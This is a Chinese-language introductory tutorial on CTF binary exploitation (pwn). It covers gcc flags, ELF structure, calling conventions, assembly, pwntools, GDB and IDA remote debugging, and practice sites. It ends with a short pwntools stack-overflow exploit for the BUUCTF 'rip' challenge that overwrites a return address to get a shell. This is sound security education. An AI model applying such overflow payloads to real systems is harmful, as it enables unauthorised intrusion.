PWN简介
- PWN是一个黑客语法的俚语词,是指破解、利用成功设备或者系统(程序的二进制漏洞)。它包括两个方面:一是攻破设备、服务器、二是控制设备、服务器
- 在CTF中,pwn是指通过程序本身的漏洞,编写利用脚本破解程序拿到系统的权限(shell),从而获得flag。赛方叫做面壁者,答题人叫做破壁人。一般pwn的题目都是由面壁者给出自己的服务器IP以及端口(一般是Linux系统),这个端口在运行着一个进程。同时面壁者再给出一个二进制文件,而这个文件正好就是那个进程正在运行的文件。破壁人要做的就是通过找出面壁者提供的这个二进制文件漏洞,并且利用这个漏洞获取面壁者服务器的最高权限。
- 破壁人如何找出二进制漏洞就成为了pwn的重中之重。但这个漏洞可不是写在文件上的,破壁人要通过各种手段找出漏洞并且利用它必定少不了一些知识,而这些知识也造就了pwn的高入门门槛。
- PWN赛题的特点是入门难,进阶难,精通难。主要体现是pwn学习的曲线很陡峭、解答PWN赛题需要经验与练习、在这个过程中破壁人非常容易自闭。
知识储备
- C语言是当前比赛中pwn项目最常用的语言,IDA pro反汇编后得到的是C语言的伪代码
- python主要用于编写exp(攻击)脚本,pwntools是python库
- 很多情况下,伪代码并不能提供所有有效信息,需要直接分析汇编指令
- Linux操作系统能提供各种辅助指令来获取信息,加深堆栈的理解
- 较难的程序中大多包含了复杂的数据结构与算法,需要迅速且准确在其中找出漏洞
- 基本漏洞学习
- 整数溢出
- 栈溢出
- 格式化字符串漏洞
- ROP(返回导向式编程)
- 堆溢出
GCC安装与编译
- 使用命令
sudo apt install gcc
安装gcc编译器 - gcc编译分为四个过程:预处理(预编译),编译,汇编,链接
- 预处理(预处理源文件):
-E
(大写)gcc -E main.c -o main.i
- 编译(由C语言代码生成汇编代码):
-S
(大写)gcc -S main.i -o main.s
- 汇编(由汇编代码生成机器码):
-c
(小写)gcc -c main.s -o main.o
- 链接(将多个机器码的目标文件链接成可执行文件):
-o
文件名 gcc main.o -o main
- 如果不给-o,系统会默认生成可执行文件a.out
- 一步直接生成:gcc main.c -o main
- gcc默认生成AT&T汇编,
-masm=intel
生成Intel汇编 - 在目标文件中嵌入调试信息,以便gdb之类的调试程序:
-g
- 不开启堆栈溢出的保护:
-fno-stack-protector
- 生成32位程序:
-m32

- 可执行文件从广义上讲就是文件中的数据是可执行代码的文件,例如.out、.exe、.sh和.py等
- 从狭义上讲就是文件中的数据是机器码的文件,如.out、.exe、.dll和.so等
- 可执行文件可分两类
- Windows操作系统中的PE(Protable Executable)文件,
- 可执行程序(.exe)
- 动态链接库(.dll)
- 静态链接库(.lib)等
- Linux操作系统中的ELF(Executable and Linkable Format)文件
- 可执行程序(.out)
- 动态链接库(.so)
- 静态链接库(.a)等
ELF文件格式
- ELF文件头表(ELF header)记录了ELF文件的组织结构
- 程序头表/段头表(Program header table)告诉操作系统如何创建进程(进程内存映象),生成进程的可执行文件必须拥有此结构,重定位文件不一定需要
- 节头表(Section header table)记录了ELF文件的节区信息(可执行文件),用于链接的目标文件必须拥有此结构,其它类型目标文件不一定需要

程序装载与虚拟内存
- 节视图(objdump -s elf)用于ELF文件编译链接与磁盘上存储时划分不同的功能(文件结构的组织)
- 段视图(cat /proc/pid/map)用于程序载入内存时(进程)对内存区域的读写执行(rwx)权限划分。

- 虚拟内存用户空间每个进程一份,虚拟内存内核空间所有进程共享一份,虚拟内存mmap段中的动态链接库仅在物理内存中装载一份

- 进程的32位与64位虚拟地址空间图示


CPU与进程的执行
- 函数调用约定主要涉及三个方面
- 函数参数的入栈顺序从右向左通过栈传递
- 由调用者还是被调用者把参数弹出栈
- 产生函数修饰名的方法
- x86的调用约定:__cdecl、__fastcall和__stdcall
- __stdcall是API默认调用约定,被调用函数在返回前清理传送参数的内存栈
- __cdecl是C/C++默认调用约定,调用函数包含清理堆栈的代码(可变参数的函数)
- __fastcall,用ECX和EDX传送前面两个参数,2个以后的参数从右向左入栈传送
- x64调用约定:寄存器与栈相结合
- 当参数少于7个时, 从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9
- 当参数大于等于7个时, 6个以后的参数从右向左入栈传送
- ELF格式文件中段(segment)与节(section):ELF文件映射到虚拟地址空间一个段会包含多个节。
- 代码段(Text segment)包含了代码与只读数据的节,具体包括:.text节(代码节,保存了程序执行的代码)、.init节(程序初始化和终止的代码)、 .rodata节(只读数据)、.hash节、 .dynsym节、.dynstr节、 .plt节.rel.got等。
- 数据段(Data segment)包含了可读可写数据的节,具体包括:.data节(已经初始化的全局变量/局部静态变量)、 .got.plt节(全局偏移变量表,保存全局变量引用的地址)、.bss节(未初始化的全局变量/局部静态变量)、.dynamic节、.got节等。
- 栈段(Stack segment):向低地址方向生长。
- 堆段(Heap segmengt):向高地址方向生长。


- 小端序(Little-endian):低地址存放数据低位、高地址存放数据高位(x86-64默认)。
- 大端序(Big-endian):低地址存放数据高位、高地址存放数据低位。

- AMD64位寄存器结构
- RIP(pc,program counter):存放下一条执行指令的偏移地址
- RSP:存放当前栈帧的栈顶偏移地址
- RBP:存放当前栈帧的栈底偏移地址
- RAX:通用寄存器。存放函数返回值
装载与汇编
- 编程的发展经历了机器语言、汇编语言到高级语言三个阶段。

- 指令是汇编程序的构成块。一条指令由一个助记符,以及零个或多个操作数组成。汇编语言源代码主要采用两种语法:AT&T语法和Intel语法。主要存在三点不同:
- AT&T语法在寄存器前加
%
,立即数前加$
;Intel语法不加前缀; - AT&T语法加入了指示指令宽度的后缀,比如
movq
(四字)、addb
(字节)等,而Intel语法没有这种标识; - AT&T语法把源操作数放在目标操作数之前,而Intel语法则是将源操作数放在目标操作数之后。
- 每条指令使用操作码告诉CPU程序要执行什么样的操作,操作码就是助记符与操作数对应的十六进制值数据,常用Intel语法
- 立即数操作数是一个固定的值,如0x4567
- 寄存器操作数指向寄存器,如rcx
- 内存地址操作数指向目标值所在的内存地址,一般由方括号内包含值、寄存器或方程式组成,如[eax]
- 常见汇编指令如下:
mov eax,ebx
: 把ebx的内容放入eax寄存器mov eax,[ebx]
: 将ebx指向的数据内容放入eax寄存器lea edx,[ecx+4]
:把ecx+4单元的32位地址存放edx寄存器add eax,ebx
: 把eax加ebx的结果放入eax寄存器sub edx,ecx
: 把edx减ecx的结果放入edx寄存器push eax
: 将eax压入堆栈pop ebx
: 将栈顶数据取出传给ebxleave
: 释放栈帧空间,相当于move esp,ebp和pop ebpxor
:异或jmp
:无条件跳转cmp
:比较,用目标操作数减去源操作数,根据结果来确定溢出、符号、零、进位、辅助进位和奇偶标志位,但不会真的去改变目标操作数,仅改变标志位test
:指令执行逻辑与操作,但不会真的去改变目标操作数,仅改变标志位jxx
:条件跳转,如jz、jc、jo、jp、je、ja、jg、jl等call
:函数调用ret
:返回
Linux基础指令
- PWN环境配置在Ubuntu系统,需要熟悉一些常用的Linux命令

Python之pwntools
- 简单来说就以一整套pwn工具集,涵盖了pwn题利用脚本所需要的各种工具。包括方便的IO交互函数,ROP、格式化字符串等利用的自动化工具,shellcode生成器等
- pwntools是目前最好用也是仅有的大型pwn利用框架,能节省大量编写脚本的时间。
- pwnlib.constans: 包含各种体系结构和操作系统中的系统调用号常量
- pwnlib.context: 设置运行环境
- Pwnlib.rop:rop生成工具,可以直接生成32位rop
- pwnlib.gdb: 调试,配合gdb使用
- pwnlib.shellcraft: Shellcode生成器
- pwnlib.elf: 操作ELF可执行文件和共享库
- pwntools示例语句
from pwn import *
context(arch='i386',os='linux',log_level = 'debug')
context.terminal['tmux','splitw','-h']
io = remote("127.0.0.1", 32152)
io = process("./bin", shell=True)
io.sendline("hello")
io.send("hello")
io.recv(1024)
io.revuntil("hello")
io.recvline()
io.interactive()
PWN环境配置
- 作为一个pwn手,必须要有一套自己的环境,不然的话,拿到一个程序你该怎么分析它呢?下面我们来看看如何搭建一下pwn的环境
- IDA pro: 对程序进行静态调试(也能动态调试),查看伪代码等信息
- ubuntu虚拟机:常见为ELF 文件,结合windows和ubuntu系统进行分析
- objdump(系统自带)
- pwntools
- checksec
- ROPgadget
- pwndbg
- one_gadget
- main_arena_offset
- 在线查询libc版本的网站:
https://libc.blukat.me/
- Ubuntu配置PWN环境的命令如下图所示

GDB调试器
- GDB是GNU开源组织发布的一个强大的UNIX下的C/C++程序调试工具,它自身并没有Windows上大多数IDE调试工具的高可视化和图形化功能,但命令行调试也具有其自身优点。
- 启动:gdb elf 或 gdb attach pid
- 查看某地址的反汇编代码:disass /r main 和x/16i main(查看内存:x /nfu )
- 单步调试:si、step count(进入函数内部)或ni、next count
- 运行命令:run或continue
- 设置断点:break 或 b *$rebase(偏移地址)
- 指向当前程序运行地址:x/8i $pc
- 查看字符串:x/s
- 查看寄存器的值:p/x $eax
- 查看栈、bss段是否可以执行:vmmap
IDA Pro远程调试
- 步骤1 安装IDA Pro
- 步骤2 将IDA Pro 根目录 dbgsrv 下的 2个文件放到 linux 虚拟机下

- 步骤3 如调试32位程序,可能需要安装32位兼容库lib32z1和lib32stdc++6
apt install lib32z1
apt install lib32stdc++6
- 步骤4 将被调试程序与linux_server放在同一目录运行并linux_server

- 步骤5 IDA pro加载被调试目标程序main

- 步骤6 选择远程调试器

- 步骤7 配置调试器参数


- 步骤8 下断点、启动调试(F9)

- 步骤9 远程调试连接成功

- 步骤10 按F7单步步入被调函数

网站刷题
刷题网站推荐
- pwnalbe:
https://pwnable.kr/play.php
- BUUCTF:
https://buuoj.cn/
- 攻防世界:
https://adworld.xctf.org.cn/home/index
- Bugku:
https://ctf.bugku.com/
- Jarvis OJ:
https://www.jarvisoj.com/
- ctf.show:
https://ctf.show/
- CTFHub:
https://www.ctfhub.com/#/index
pwnable网站fd练习题
- 题目信息如下

- 连接服务器

- 分析源代码文件

- 获取Flag

BUUCTF:test_your_nc
- test_your_nc题目信息

- 下载并检查ELF格式文件

- IDA Pro载入test并生产伪代码

- 使用pwntools编写python脚本程序获取Flag

BUUCTF:rip
- rip题目信息

- 下载并分析pwn1


- IDA Pro载入pwn1


- main函数的栈帧空间及C伪代码


- 使用pwntools编写python脚本程序
from pwn import *
p=remote("node4.buuoj.cn", 29898)
payload='A'*15+'B'*8+p64(0x401186+1).decode("iso-8859-1")
p.sendline(payload)
p.interactive()
- 运行Python程序获取Flag
